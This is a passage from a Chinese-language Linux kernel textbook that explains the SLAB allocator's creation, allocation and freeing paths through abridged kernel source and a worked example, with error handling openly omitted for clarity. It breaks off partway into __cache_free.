   return kmem_cache_zalloc(dev_priv->slab, GFP_KERNEL);
}

另外一个大量使用slab机制的是kmallc()函数接口。kmem_cache_create()函数用于创建自己的缓存描述符,kmalloc()函数用于创建通用的缓存,类似于用户空间中C标准库malloc()函数。

下面来看一个例子,在ARM Vexpress平台上创建名为“figo_object”的slab描述符,大小为20Byte,align为8Byte,flags为0,假设L1 Cache line大小为16Byte,我们可以编写一个简单的内核模块来实现上述需求。

[slab实验例子,省略了异常处理情况]

static struct kmem_cache *fcache
static void *buf;

//举例:创建名为”figo_object”的slab描述符, 大小为20Byte,8字节Byte
static int __init fcache_init(void)
{
    fcache = kmem_cache_create("figo_object", 20, 8, 0, NULL);
    if (!fcache) {
         kmem_cache_destroy(fcache);
         return -ENOMEM;
    }

    buf = kmem_cache_zalloc(fcache, GFP_KERNEL);
    return 0;   
}

static void __exit fcache_exit(void)
{
    kmem_cache_free(fcache, buf);
   kmem_cache_destroy(fcache);
}
module_init(fcache_init);
module_exit(fcache_exit);

本节以上述例子为示范来阅读slab分配器相关代码,这样更易于理解。

另外为了更好地理解代码,可以通过Qemu调试内核的方法来跟踪和调试slab代码,见第6.1节,在gdb中设置条件断点来捕捉,例如设置断点为:“b kmem_cache_create if (size == 20 && align == 8)”。注意,__kmem_cache_alias()函数有可能会找到一个合适的现有的slab描述符进行复用,所以最好注释掉这行代码。

struct kmem_cache数据结构是slab分配器中的核心数据结构,我们把它称为slab描述符。struct kmem_cache数据结构定义如下:

[include/linux/slab_def.h]

0 /*
1  * Definitions unique to the original Linux SLAB allocator.
2  */
3 struct kmem_cache {
4  struct array_cache __percpu *cpu_cache;
5 
6 /* 1) Cache tunables. Protected by slab_mutex */
7    unsigned int batchcount;
8    unsigned int limit;
9    unsigned int shared;
10
11   unsigned int size;
12   struct reciprocal_value reciprocal_buffer_size;
13/* 2) touched by every alloc & free from the backend */
14
15  unsigned int flags;          /* constant flags */
16  unsigned int num;          /* # of objs per slab */
17
18/* 3) cache_grow/shrink */
19  /* order of pgs per slab (2^n) */
20  unsigned int gfporder;
21
22  /* force GFP flags, e.g. GFP_DMA */
23  gfp_t allocflags;
24
25  size_t colour;               /* cache colouring range */
26  unsigned int colour_off;     /* colour offset */
27  struct kmem_cache *freelist_cache;
28  unsigned int freelist_size;
29
30  /* constructor func */
31  void (*ctor)(void *obj);
32
33/* 4) cache creation/removal */
34  const char *name;
35   struct list_head list;
36  int refcount;
37  int object_size;
38  int align;
39
40/* 5) statistics */
41  struct kmem_cache_node *node[MAX_NUMNODES];
42};
43

每个slab描述符都由一个struct kmem_cache数据结构来抽象描述。

struct array_cache数据结构定义如下:

struct array_cache {
     unsigned int avail;
     unsigned int limit;
     unsigned int batchcount;
     unsigned int touched;
     void *entry[];
};

slab描述符给每个CPU都提供一个对象缓存池(array_cache)。

kmem_cache_create()函数的实现是在slab_common.c文件中。

[mm/slab_common.c]

0 struct kmem_cache *
1 kmem_cache_create(const char *name, size_t size, size_t align,
2        unsigned long flags, void (*ctor)(void *))
3 {
4   struct kmem_cache *s;
5   const char *cache_name;
6   int err;
7   s = __kmem_cache_alias(name, size, align, flags, ctor);
8 
9   s = do_kmem_cache_create(cache_name, size, size,
10                  calculate_alignment(flags, align, size),
11                  flags, ctor, NULL, NULL);
12  return s;
13}
14

首先通过__kmem_cache_alias()函数查找是否有现成的slab描述符可以复用,若没有,就通过do_kmem_cache_create()来创建一个新的slab描述符。

[kmem_cache_create()->do_kmem_cache_create()]

0 static struct kmem_cache *
1 do_kmem_cache_create(const char *name, size_t object_size, size_t size,
2           size_t align, unsigned long flags, void (*ctor)(void *),
3           struct mem_cgroup *memcg, struct kmem_cache *root_cache)
4 {
5    struct kmem_cache *s;
6    s = kmem_cache_zalloc(kmem_cache, GFP_KERNEL);
7     
8    s->name = name;
9    s->object_size = object_size;
10   s->size = size;
11   s->align = align;
12   s->ctor = ctor;
13
14   err = __kmem_cache_create(s, flags);
15
16   s->refcount = 1;
17   list_add(&s->list, &slab_caches);
18}
19

do_kmem_cache_create()函数首先分配一个struct kmem_cache数据结构。

回到do_kmem_cache_create()函数中,分配好struct kmem_cache数据结构后把name、size、align等值填入struct kmem_cache相关成员中,然后调用__kmem_cache_create()来创建slab缓冲区,最后把这个新创建的slab描述符都加入全局链表slab_caches中。

[kmem_cache_create()->do_kmem_cache_create()->__kmem_cache_create()]

0 int
1 __kmem_cache_create (struct kmem_cache *cachep, unsigned long flags)
2 {
3   size_t left_over, freelist_size;
4   size_t ralign = BYTES_PER_WORD;
5   gfp_t gfp;
6   int err;
7   size_t size = cachep->size;
8 
9   /*
10   * Check that size is in terms of words.  This is needed to avoid
11   * unaligned accesses for some archs when redzoning is used, and makes
12   * sure any on-slab bufctl's are also correctly aligned.
13   */
14  if (size & (BYTES_PER_WORD - 1)) {
15        size += (BYTES_PER_WORD - 1);
16        size &= ~(BYTES_PER_WORD - 1);
17  }
18
19  /* 3) caller mandated alignment */
20  if (ralign < cachep->align) {
21        ralign = cachep->align;
22  }
23  /* disable debug if necessary */
24  if (ralign > __alignof__(unsigned long long))
25        flags &= ~(SLAB_RED_ZONE | SLAB_STORE_USER);
26  /*
27   * 4) Store it.
28   */
29  cachep->align = ralign;
30
31  if (slab_is_available())
32        gfp = GFP_KERNEL;
33  else
34        gfp = GFP_NOWAIT;
35     
36  /*
37   * Determine if the slab management is 'on' or 'off' slab.
38   * (bootstrapping cannot cope with offslab caches so don't do
39   * it too early on. Always use on-slab management when
40   * SLAB_NOLEAKTRACE to avoid recursive calls into kmemleak)
41   */
42  if ((size >= (PAGE_SIZE >> 5)) && !slab_early_init &&
43       !(flags & SLAB_NOLEAKTRACE))
44        /*
45         * Size is large, assume best to place the slab management obj
46         * off-slab (should allow better packing of objs).
47         */
48        flags |= CFLGS_OFF_SLAB;
49
50  size = ALIGN(size, cachep->align);
51  /*
52   * We should restrict the number of objects in a slab to implement
53   * byte sized index. Refer comment on SLAB_OBJ_MIN_SIZE definition.
54   */
55  if (FREELIST_BYTE_INDEX && size < SLAB_OBJ_MIN_SIZE)
56       size = ALIGN(SLAB_OBJ_MIN_SIZE, cachep->align);
57
58  left_over = calculate_slab_order(cachep, size, cachep->align, flags);
59
60  freelist_size = calculate_freelist_size(cachep->num, cachep->align);
61
62  /*
63   * If the slab has been placed off-slab, and we have enough space then
64   * move it on-slab. This is at the expense of any extra colouring.
65   */
66  if (flags & CFLGS_OFF_SLAB && left_over >= freelist_size) {
67        flags &= ~CFLGS_OFF_SLAB;
68        left_over -= freelist_size;
69  }
70
71  if (flags & CFLGS_OFF_SLAB) {
72        /* really off slab. No need for manual alignment */
73        freelist_size = calculate_freelist_size(cachep->num, 0);
74  }
75
76  cachep->colour_off = cache_line_size();
77  /* Offset must be a multiple of the alignment. */
78  if (cachep->colour_off < cachep->align)
79        cachep->colour_off = cachep->align;
80  cachep->colour = left_over / cachep->colour_off;
81  cachep->freelist_size = freelist_size;
82  cachep->flags = flags;
83  cachep->allocflags = __GFP_COMP;
84  if (CONFIG_ZONE_DMA_FLAG && (flags & SLAB_CACHE_DMA))
85       cachep->allocflags |= GFP_DMA;
86  cachep->size = size;
87  cachep->reciprocal_buffer_size = reciprocal_value(size);
88
89  if (flags & CFLGS_OFF_SLAB) {
90         cachep->freelist_cache = kmalloc_slab(freelist_size, 0u);
91  }
92
93  err = setup_cpu_cache(cachep, gfp);
94  return 0;
95}
96

在__kmem_cache_create()函数中,第14~17行代码首先检查size是否和系统的word长度对齐(BYTES_PER_WORD)。在ARM Vexpress平台中,BYTES_PER_WORD为4Byte,我们例子的size为20Byte,所以和BYTES_PER_WORD对齐。

第20~25行代码,接着计算align对齐的大小。我们的例子中cachep->align值为8Byte。

第31~34行代码,枚举类型slab_state用来表示slab系统中的状态,例如DOWN、PARTIAL、PARTIAL_NODE、UP和FULL等,当slab机制完全初始化完成后状态变成FULL。slab_is_available()表示当slab状态在UP或者FULL时,分配掩码可以使用GFP_KERNEL,否则只能使用GFP_NOWAIT。

第42~48行代码,当需要分配slab缓冲区对象的大小大于128Byte时,slab系统认为对象的大小比较大,那么分配掩码要设置CFLGS_OFF_SLAB标志位。我们的例子会忽略CFLGS_OFF_SLAB这个标志位。

第50行代码,根据size和align对齐关系,计算出最终的size大小。在我们的例子中,size为20Byte,align为8Byte,所以最终大小为24Byte。

第58行代码通过calculate_slab_order()函数计算相关的核心参数。

[kmem_cache_create()->do_kmem_cache_create()->__kmem_cache_create()->calculate_slab_order()]

0 static size_t calculate_slab_order(struct kmem_cache *cachep,
1              size_t size, size_t align, unsigned long flags)
2 {
3    unsigned long offslab_limit;
4    size_t left_over = 0;
5    int gfporder;
6 
7    for (gfporder = 0; gfporder <= KMALLOC_MAX_ORDER; gfporder++) {
8         unsigned int num;
9         size_t remainder;
10
11        cache_estimate(gfporder, size, align, flags, &remainder, &num);
12        if (!num)
13              continue;
14
15        /* Can't handle number of objects more than SLAB_OBJ_MAX_NUM */
16        if (num > SLAB_OBJ_MAX_NUM)
17              break;
18
19        if (flags & CFLGS_OFF_SLAB) {
20              size_t freelist_size_per_obj = sizeof(freelist_idx_t);
21              offslab_limit = size;
22              offslab_limit /= freelist_size_per_obj;
23
24              if (num > offslab_limit)
25                   break;
26        }
27
28        /* Found something acceptable - save it away */
29        cachep->num = num;
30        cachep->gfporder = gfporder;
31        left_over = remainder;
32
33        /*
34          * Large number of objects is good, but very large slabs are
35          * currently bad for the gfp()s.
36          */
37         if (gfporder >= slab_max_order)
38              break;
39
40         /*
41          * Acceptable internal fragmentation?
42          */
43         if (left_over * 8 <= (PAGE_SIZE << gfporder))
44               break;
45    }
46    return left_over;
47}

calculate_slab_order()函数会计算一个slab需要多少个物理页面,同时也计算slab中可以容纳多少个对象。

如图2.9所示,一个slab由2^gfporder个连续物理页面组成,包含了num个slab对象、着色区和freelist区。

图2.9 slab结构

第7行代码,for循环里首先会从0开始计算最合适的gfporder值,最多支持的页面数是2^ KMALLOC_MAX_ORDER,slab分配器中KMALLOC_MAX_ORDER 为25,所以一个slab的大小最大为2^25个页面,即32MB大小。KMALLOC_MAX_ORDER的计算方法如下:

[include/linux/slab.h]
/*
 * The largest kmalloc size supported by the SLAB allocators is
 * 32 megabyte (2^25) or the maximum allocatable page order if that is
 * less than 32 MB.
 *
 * WARNING: Its not easy to increase this value since the allocators have
 * to do various tricks to work around compiler limitations in order to
 * ensure proper constant folding.
 */
#define KMALLOC_SHIFT_HIGH     ((MAX_ORDER + PAGE_SHIFT - 1) <= 25 ? \
                (MAX_ORDER + PAGE_SHIFT - 1) : 25)
#define KMALLOC_SHIFT_MAX     KMALLOC_SHIFT_HIGH
#define KMALLOC_SHIFT_LOW     5

calculate_slab_order()函数调用cache_estimate()来计算在2^gfporder个页面大小的情况下,可以容纳多少个obj对象,然后剩下的空间用于cache colour着色。

static void cache_estimate(unsigned long gfporder, size_t buffer_size,
                 size_t align, int flags, size_t *left_over,
                 unsigned int *num)
{
     int nr_objs;
     size_t mgmt_size;
     size_t slab_size = PAGE_SIZE << gfporder;

     nr_objs = calculate_nr_objs(slab_size, buffer_size,
                       sizeof(freelist_idx_t), align);
     mgmt_size = calculate_freelist_size(nr_objs, align);
     *num = nr_objs;
     *left_over = slab_size - nr_objs*buffer_size - mgmt_size;
}

static int calculate_nr_objs(size_t slab_size, size_t buffer_size,
                    size_t idx_size, size_t align)
{
     int nr_objs;
     int extra_space = 0;
     nr_objs = slab_size / (buffer_size + idx_size + extra_space);
     return nr_objs;
}       

static size_t calculate_freelist_size(int nr_objs, size_t align)
{
     size_t freelist_size;
     freelist_size = nr_objs * sizeof(freelist_idx_t);
     if (align)
           freelist_size = ALIGN(freelist_size, align);
     return freelist_size;
}

cache_estimate()函数会调用calculate_nr_objs(),计算公式并不复杂。

obj_num = buffer_size /(obj_size + sizeof(freelist_idx_t))

最后在calculate_slab_order()中的第16~44行代码有一些判断条件,例如判断slab的对象数目、cache colour着色器是否满足条件。如果满足,就不需要继续尝试更大的gfporder了。在我们例子中,gfporder为0,满足第43行代码的条件判断,最终计算完成后slab对象个数为cachep->num=163,cachep->gfporder=0,left_over=16,freelist_size=168,有兴趣的同学可以演算一遍calculate_slab_order()函数。

回到__kmem_cache_create()函数中,第76行代码cache_line_size()得出L1 cache行的大小,ARM Vexpress平台采用Cortex-A9处理器,L1 cache line大小可以配置成16B、32B或者64B。

第80行代码,计算cache colour的大小,用left_over除以L1 Cache行大小,即left_over可以包含多少个L1 cache行。假设L1 Cache line大小为16Byte,在我们这个例子中,只能包含1个cache行,如果L1cache line大小配置为64Byte,cache colour就不起作用了。

最后调用setup_cpu_cache()函数来继续配置slab描述符。假设slab_state为FULL,即slab机制已经初始化完成,内部直接调用enable_cpucache()函数。

[__kmem_cache_create()->setup_cpu_cache()->enable_cpucache()]

0 static int enable_cpucache(struct kmem_cache *cachep, gfp_t gfp)
1 {
2    int err;
3    int limit = 0;
4    int shared = 0;
5    int batchcount = 0;
6    
7    if (cachep->size > 131072)
8         limit = 1;
9    else if (cachep->size > PAGE_SIZE)
10        limit = 8;
11   else if (cachep->size > 1024)
12        limit = 24;
13   else if (cachep->size > 256)
14        limit = 54;
15   else
16        limit = 120;
17
18   /*
19    * CPU bound tasks (e.g. network routing) can exhibit cpu bound
20    * allocation behaviour: Most allocs on one cpu, most free operations
21    * on another cpu. For these cases, an efficient object passing between
22    * cpus is necessary. This is provided by a shared array. The array
23    * replaces Bonwick's magazine layer.
24    * On uniprocessor, it's functionally equivalent (but less efficient)
25    * to a larger limit. Thus disabled by default.
26    */
27   shared = 0;
28   if (cachep->size <= PAGE_SIZE && num_possible_cpus() > 1)
29         shared = 8;
30
31   batchcount = (limit + 1) / 2;
32skip_setup:
33   err = do_tune_cpucache(cachep, limit, batchcount, shared, gfp);
34   return err;
35}

在enable_cpucache()函数中,第7~16行代码根据对象的大小来计算空闲对象的最大阈值limit,这里limit默认选择120。

第28行代码,在SMP系统中且slab对象大小不大于一个页面的情况下,shared这个变量设置为8。

第31行代码,计算batchcount数目,通常是最大阈值limit的一半,batchcount一般用于本地缓冲池和共享缓冲池之间填充对象的数量。

继续调用do_tune_cpucache()函数来配置slab描述符。

[__kmem_cache_create()->setup_cpu_cache()->enable_cpucache()->__do_tune_cpucache()]

0 static int __do_tune_cpucache(struct kmem_cache *cachep, int limit,
1                  int batchcount, int shared, gfp_t gfp)
2 {
3    struct array_cache __percpu *cpu_cache, *prev;
4    int cpu;
5 
6    cpu_cache = alloc_kmem_cache_cpus(cachep, limit, batchcount);
7    cachep->cpu_cache = cpu_cache;
8    cachep->batchcount = batchcount;
9    cachep->limit = limit;
10   cachep->shared = shared;
11
12alloc_node:
13   return alloc_kmem_cache_node(cachep, gfp);
14}

在__do_tune_cpucache()函数中,首先通过alloc_kmem_cache_cpus()函数来分配Per-CPU类型的struct array_cache数据结构,我们称之为对象缓冲池。对象缓冲池中包含了一个Per-CPU类型的struct array_cache指针,即系统每个CPU有一个struct array_cache指针。当前CPU的array_cache称为本地对象缓冲池,另外还有一个概念为共享对象缓冲池。

0 static struct array_cache __percpu *alloc_kmem_cache_cpus(
1         struct kmem_cache *cachep, int entries, int batchcount)
2 {
3    int cpu;
4    size_t size;
5    struct array_cache __percpu *cpu_cache;
6 
7    size = sizeof(void *) * entries + sizeof(struct array_cache);
8    cpu_cache = __alloc_percpu(size, sizeof(void *));
9 
10   for_each_possible_cpu(cpu) {
11       init_arraycache(per_cpu_ptr(cpu_cache, cpu),
12                entries, batchcount);
13   }
14
15   return cpu_cache;
16}

通过alloc_kmem_cache_cpus()函数来分配对象缓冲池,注意这里计算size时考虑到对象缓冲池的最大阈值limit,参数entries是指最大阈值limit,见第7行代码。

init_arraycache()里设置对象缓冲池的limit和batchcount,其中limit为120,batchcount为60。

回到__do_tune_cpucache()函数,刚分配的对象缓冲池cpu_cache会被设置为slab描述符的本地对象缓冲池。调用alloc_kmem_cache_node()来继续初始化slab缓冲区cachep-> kmem_cache_node数据结构。

[__kmem_cache_create()->setup_cpu_cache()->enable_cpucache()->__do_tune_cpucache()->alloc_kmem_cache_node()]

0 static int alloc_kmem_cache_node(struct kmem_cache *cachep, gfp_t gfp)
1 {
2    int node;
3    struct kmem_cache_node *n;
4    struct array_cache *new_shared;
5    struct alien_cache **new_alien = NULL;
6 
7    for_each_online_node(node) {
8        new_shared = NULL;
9        if (cachep->shared) {
10             new_shared = alloc_arraycache(node,
11                cachep->shared*cachep->batchcount,
12                    0xbaadf00d, gfp);
13        }
14
15        n = get_node(cachep, node);
16        if (n) {
17              struct array_cache *shared = n->shared;
18              LIST_HEAD(list);
19
20              spin_lock_irq(&n->list_lock);
21
22              if (shared)
23                   free_block(cachep, shared->entry,
24                            shared->avail, node, &list);
25
26              n->shared = new_shared;
27              n->free_limit = (1 + nr_cpus_node(node)) *
28                       cachep->batchcount + cachep->num;
29              spin_unlock_irq(&n->list_lock);
30              slabs_destroy(cachep, &list);
31              kfree(shared);
32              free_alien_cache(new_alien);
33              continue;
34         }
35         n = kmalloc_node(sizeof(struct kmem_cache_node), gfp, node);
36         kmem_cache_node_init(n);
37         n->next_reap = jiffies + REAPTIMEOUT_NODE +
38                 ((unsigned long)cachep) % REAPTIMEOUT_NODE;
39         n->shared = new_shared;
40         n->free_limit = (1 + nr_cpus_node(node)) *
41                       cachep->batchcount + cachep->num;
42         cachep->node[node] = n;
43     }
44     return 0; 

在alloc_kmem_cache_node()函数中,第7~43行代码,for循环是遍历系统中所有的NUMA节点,在ARM Vexpress平台中只有一个内存节点。

如果cachep->shared大于0(在多核系统中cachep->shared会大于0,这个在enable_cpucache()函数中已经初始化了,cachep->shared为8),通过alloc_arraycache()来分配一个共享对象缓冲池new_shared,为多核CPU之间共享空闲缓存对象。

第15~34行代码,获取系统中的kmem_cache_node节点。在我们的例子中,kmem_cache_node节点还没分配,所以第35~42行代码新分配一个kmem_cache_node节点,我们把kmem_cache_node节点简称为slab节点。

struct kmem_cache_node数据结构包括3个slab链表,分别表示部分空闲、完全用尽、空闲。free_objects表示上述3个链表中空闲对象的总和,free_limit表示所有slab上容许空闲对象的最大数目。slab节点还包含在一个NUMA节点中CPU之间共享的共享对象缓冲池new_shared。

struct kmem_cache_node数据结构定义如下:

[mm/slab.h]

0 struct kmem_cache_node {
1    spinlock_t list_lock;
2    struct list_head slabs_partial;/* partial list first, better asm code */
3    struct list_head slabs_full;
4    struct list_head slabs_free;
5    unsigned long free_objects;
6    unsigned int free_limit;
7    unsigned int colour_next;     /* Per-node cache coloring */
8    struct array_cache *shared;   /* shared per node */
9    struct alien_cache **alien;   /* on other nodes */
10   unsigned long next_reap;      /* updated without locking */
11   int free_touched;             /* updated without locking */
12};

slab节点用于NUMA系统,在ARM Vexpress平台只有一个内存节点。

至此,slab描述符的建立已经完成,下面把slab分配器中的重要数据结构重新看一下,并且把我们例子中相关数据结构的结果列出来,方便大家看代码时可以自行演算。我们这个例子为:在ARM Vexpress平台上创建名为“figo_object”的slab描述符,大小为20Byte,align为8Byte,flags为0,假设L1 cache line大小为16Byte,其slab描述符相关成员的计算结果如下。

struct kmem_cache *cachep {
.array_cache = {
     .avail =0,
     .limit = 120,
     .batchmount = 60,
     .touched = 0,
 },
.batchount = 60,
.limit = 120,
.shared = 8,
.size = 24,
.flags = 0,
.num = 163,
.gfporder = 0,
.colour = 1,
.colour_off = 16,
.freelist_size = 168,
.name = "figo_object",
.object_size = 20,
.align =8,
.kmem_cache_node = {
    .free_object = 0,
    .free_limit = 283,
    .shared_array_cache = {
         .avail =0,
         .limit = 480,
    },
  },
}

kmem_cache_alloc()是分配slab缓存对象的核心函数,在slab分配过程中是全程关闭本地中断的。

void *kmem_cache_alloc(struct kmem_cache *cachep, gfp_t flags)
{
     void *ret = slab_alloc(cachep, flags, _RET_IP_);
     return ret;
}

static __always_inline void *
slab_alloc(struct kmem_cache *cachep, gfp_t flags, unsigned long caller)
{
     unsigned long save_flags;
     void *objp;
 local_irq_save(save_flags);
     objp = __do_cache_alloc(cachep, flags);
 local_irq_restore(save_flags);
     return objp;
}

在关闭本地中断的情况下调用__do_cache_alloc()函数,内部调用____cache_alloc()函数。

[kmem_cache_alloc()->slab_alloc()->__do_cache_alloc->_cache_alloc()]

0 static inline void *____cache_alloc(struct kmem_cache *cachep, gfp_t flags)
1 {
2   void *objp;
3   struct array_cache *ac;
4   bool force_refill = false;
5   ac = cpu_cache_get(cachep);
6   if (likely(ac->avail)) {
7         ac->touched = 1;
8         objp = ac_get_obj(cachep, ac, flags, false);
9 
10        /*
11         * Allow for the possibility all avail objects are not allowed
12         * by the current flags
13         */
14        if (objp) {
15             goto out;
16        }
17        force_refill = true;
18   }
19
20   objp = cache_alloc_refill(cachep, flags, force_refill);
21out:
22   return objp;
23}

第5行代码,获取slab描述符cachep中的本地对象缓冲池ac,这里用cpu_cache_get()宏。

第6行代码,判断本地对象缓冲池中有没有空闲的对象,ac->avail表示本地对象缓冲池中有空闲对象,可直接通过ac_get_obj()来分配一个对象。

ac_get_obj()函数定义如下,我们直接看第8行代码,这里通过ac->entry[--ac->avail]来获取slab对象。

0 static inline void *ac_get_obj(struct kmem_cache *cachep,
1               struct array_cache *ac, gfp_t flags, bool force_refill)
2 {
3    void *objp;
4 
5    if (unlikely(sk_memalloc_socks()))
6          objp = __ac_get_obj(cachep, ac, flags, force_refill);
7    else
8          objp = ac->entry[--ac->avail];
9 
10   return objp;
11}

看到这里有一个疑问,从kmem_cache_create()函数创建成功返回时,ac->avail应该为0,而且没有看到kmem_cache_create()函数有向伙伴系统申请要内存,那对象是从哪里来的呢?

我们再仔细看_cache_alloc()函数,因为第一次分配缓存对象时ac->avail值为0,因此是运行不到第6~18行代码处的,直接运行到了第20行代码的cache_alloc_refill()。

[kmem_cache_alloc()->_cache_alloc()->cache_alloc_refill()]

0 static void *cache_alloc_refill(struct kmem_cache *cachep, gfp_t flags,
1                                 bool force_refill)
2 {
3    int batchcount;
4    struct kmem_cache_node *n;
5    struct array_cache *ac;
6    int node;
7 
8    check_irq_off();
9    node = numa_mem_id();
10retry:
11   ac = cpu_cache_get(cachep);
12   batchcount = ac->batchcount;
13   n = get_node(cachep, node);
14   spin_lock(&n->list_lock);
15
16   /* See if we can refill from the shared array */
17   if (n->shared && transfer_objects(ac, n->shared, batchcount)) {
18        n->shared->touched = 1;
19        goto alloc_done;
20   }
21
22   while (batchcount > 0) {
23        struct list_head *entry;
24        struct page *page;
25        /* Get slab alloc is to come from. */
26        entry = n->slabs_partial.next;
27        if (entry == &n->slabs_partial) {
28              n->free_touched = 1;
29              entry = n->slabs_free.next;
30              if (entry == &n->slabs_free)
31                   goto must_grow;
32        }
33
34        page = list_entry(entry, struct page, lru);
35        check_spinlock_acquired(cachep);
36
37        /*
38         * The slab was either on partial or free list so
39         * there must be at least one object available for
40         * allocation.
41         */
42        while (page->active < cachep->num && batchcount--) {
43            ac_put_obj(cachep, ac, slab_get_obj(cachep, page,
44                                       node));
45        }
46
47        /* move slabp to correct slabp list: */
48        list_del(&page->lru);
49        if (page->active == cachep->num)
50             list_add(&page->lru, &n->slabs_full);
51        else
52             list_add(&page->lru, &n->slabs_partial);
53  }
54
55 must_grow:
56  n->free_objects -= ac->avail;
57alloc_done:
58  spin_unlock(&n->list_lock);
59
60  if (unlikely(!ac->avail)) {
61       int x;
62force_grow:
63       x = cache_grow(cachep, flags | GFP_THISNODE, node, NULL);
64
65       /* cache_grow can reenable interrupts, then ac could change. */
66       ac = cpu_cache_get(cachep);
67       node = numa_mem_id();
68
69       /* no objects in sight? abort */
70       if (!x && (ac->avail == 0 || force_refill))
71             return NULL;
72
73       if (!ac->avail)          /* objects refilled by interrupt? */
74             goto retry;
75   }
76   ac->touched = 1;
77
78   return ac_get_obj(cachep, ac, flags, force_refill);
79}

在cache_alloc_refill()函数中,第11行代码获取本地对象缓冲池ac,第13行代码通过get_node(cachep, node)获取slab节点n。

(1)首先去判断共享对象缓冲池(n->shared)中有没有空闲的对象。如果有,就尝试迁移batchcount个空闲对象到本地对象缓冲池ac中。transfer_objects()函数用于从共享对象缓冲池填充空闲对象到本地对象缓冲池。

(2)如果共享对象缓冲池中没有空闲对象,那么去查看slab节点中的slabs_partial链表(部分空闲链表)和slabs_free链表(全部空闲链表)。

static inline freelist_idx_t get_free_obj(struct page *page, unsigned int idx)
{
     return ((freelist_idx_t *)page->freelist)[idx];
}

static inline void *index_to_obj(struct kmem_cache *cache, struct page *page,
                     unsigned int idx)
{
     return page->s_mem + cache->size * idx;
}

static void *slab_get_obj(struct kmem_cache *cachep, struct page *page,
                   int nodeid)
{
     void *objp;
     objp = index_to_obj(cachep, page, get_free_obj(page, page->active));
     page->active++;
     return objp;
}

static inline void ac_put_obj(struct kmem_cache *cachep, struct array_cache *ac,
                                    void *objp)
{
     ac->entry[ac->avail++] = objp;
}
[kmem_cache_alloc()->_cache_alloc()->cache_alloc_refill()->cache_grow()]

0 static int cache_grow(struct kmem_cache *cachep,
1          gfp_t flags, int nodeid, struct page *page)
2 {
3    void *freelist;
4    size_t offset;
5    gfp_t local_flags;
6    struct kmem_cache_node *n;
7 
8    local_flags = flags & (GFP_CONSTRAINT_MASK|GFP_RECLAIM_MASK);
9 
10   /* Take the node list lock to change the colour_next on this node */
11   n = get_node(cachep, nodeid);
12   spin_lock(&n->list_lock);
13
14   /* Get colour for the slab, and cal the next value. */
15   offset = n->colour_next;
16   n->colour_next++;
17   if (n->colour_next >= cachep->colour)
18        n->colour_next = 0;
19   spin_unlock(&n->list_lock);
20
21   offset *= cachep->colour_off;
22
23   if (local_flags & __GFP_WAIT)
24         local_irq_enable();
25
26   /*
27    * Get mem for the objs.  Attempt to allocate a physical page from
28    * 'nodeid'.
29    */
30   if (!page)
31         page = kmem_getpages(cachep, local_flags, nodeid);
32
33   /* Get slab management. */
34   freelist = alloc_slabmgmt(cachep, page, offset,
35              local_flags & ~GFP_CONSTRAINT_MASK, nodeid);
36
37   slab_map_pages(cachep, page, freelist);
38
39   cache_init_objs(cachep, page);
40
41   if (local_flags & __GFP_WAIT)
42         local_irq_disable();
43   spin_lock(&n->list_lock);
44
45   /* Make slab active. */
46   list_add_tail(&page->lru, &(n->slabs_free));
47   n->free_objects += cachep->num;
48   spin_unlock(&n->list_lock);
49   return 1;
50}

在cache_grow()函数中,第15行代码n->colour_next表示slab节点中下一个slab应该包括的colour数目,cache colour从0开始增加,每个slab加1,直到这个slab描述符的colour最大值cachep->colour,然后又从0开始计算。colour的大小为cache line大小,即cachep->colour_off,这样布局有利于提高硬件cache效率。

第23行代码,如果分配掩码中使用了允许睡眠标志位__GFP_WAIT,那么先暂时打开本地中断。

第31行代码,分配一个slab所需要的页面,这里会分配2^cachep->gfporder个页面,cachep->gfporder已经在kmem_cache_create()函数中初始化了,在我们的例子中cachep-> gfporder为0。

第34行代码,alloc_slabmgmt()函数计算slab中的cache colour和freelist,以及对象的地址布局,其中page->freelist是内存块开始地址减去cache colour后的地址,可以想象成一个char类型的数组,每个对象占用一个数组成员来存放对象的序号。page->s_mem是slab中第一个对象的开始地址,内存块开始地址减去cache colour和freelist_size。在slab_map_pages()函数中,page->slab_cache指向这个cachep。alloc_slabmgmt()和slab_map_pages()函数实现如下:

static void *alloc_slabmgmt(struct kmem_cache *cachep,
                       struct page *page, int colour_off,
                       gfp_t local_flags, int nodeid)
{
     void *freelist;
     void *addr = page_address(page);

     freelist = addr + colour_off;
     colour_off += cachep->freelist_size;
     page->active = 0;
     page->s_mem = addr + colour_off;
     return freelist;
}

static void slab_map_pages(struct kmem_cache *cache, struct page *page,
                 void *freelist)
{
     page->slab_cache = cache;
     page->freelist = freelist;
}

在cache_grow()函数第39行代码初始化slab中所有对象的状态,其中set_free_obj()函数会把对象的序号填入到freelist数组中。

static inline void *index_to_obj(struct kmem_cache *cache, struct page *page, unsigned int idx)
{
     return page->s_mem + cache->size * idx;
}

static inline void set_free_obj(struct page *page,
                         unsigned int idx, freelist_idx_t val)
{
     ((freelist_idx_t *)(page->freelist))[idx] = val;
}

static void cache_init_objs(struct kmem_cache *cachep,
                    struct page *page)
{
     int i;

     for (i = 0; i < cachep->num; i++) {
          void *objp = index_to_obj(cachep, page, i);
          set_free_obj(page, i, i);
     }
}

最后这个slab添加到slab节点的slabs_free链表中。

回到cache_alloc_refill()函数中,第66行代码重新获取本地对象缓冲池,因为这期间可能有中断发生,CPU可能发生进程切换。

第77行代码,因为cache_grow()函数仅仅重新分配了slab且挂入了slabs_free链表,但当前CPU的ac->avail为0,所以跳转到retry标签,重新来一次,这次一定能分配出来对象obj。

释放slab缓存对象的API函数是kmem_cache_free()。

[mm/slab.c]

0  void kmem_cache_free(struct kmem_cache *cachep, void *objp)
1  {
2       unsigned long flags;
3       cachep = cache_from_obj(cachep, objp);
4       
5       local_irq_save(flags);
6       __cache_free(cachep, objp, _RET_IP_);
7       local_irq_restore(flags);
8  }

首先,cache_from_obj()通过要释放对象obj的虚拟地址找到对应的struct kmem_cache数据结构。由对象的虚拟地址通过virt_to_pfn()找到相应的pfn,然后通过pfn_to_page()由pfn找到对应的page结构。在一个slab中,第一个页面的page结构中page->slab_cache指向这个struct kmem_cache数据结构。

#define virt_to_page(addr)     pfn_to_page(virt_to_pfn(addr))

static inline struct page *virt_to_head_page(const void *x)
{
     struct page *page = virt_to_page(x);
     return page;
}

static inline struct kmem_cache *cache_from_obj(struct kmem_cache *s, void *x)
{
     struct kmem_cache *cachep;
     struct page *page;

     page = virt_to_head_page(x);
     cachep = page->slab_cache;
     if (slab_equal_or_root(cachep, s))
           return cachep;
}

kmem_cache_free()函数的第5行代码关闭本地CPU中断。

[kmem_cache_free()->__cache_free()]

0  static inline void __cache_free(struct kmem_cache *cachep, void *objp,
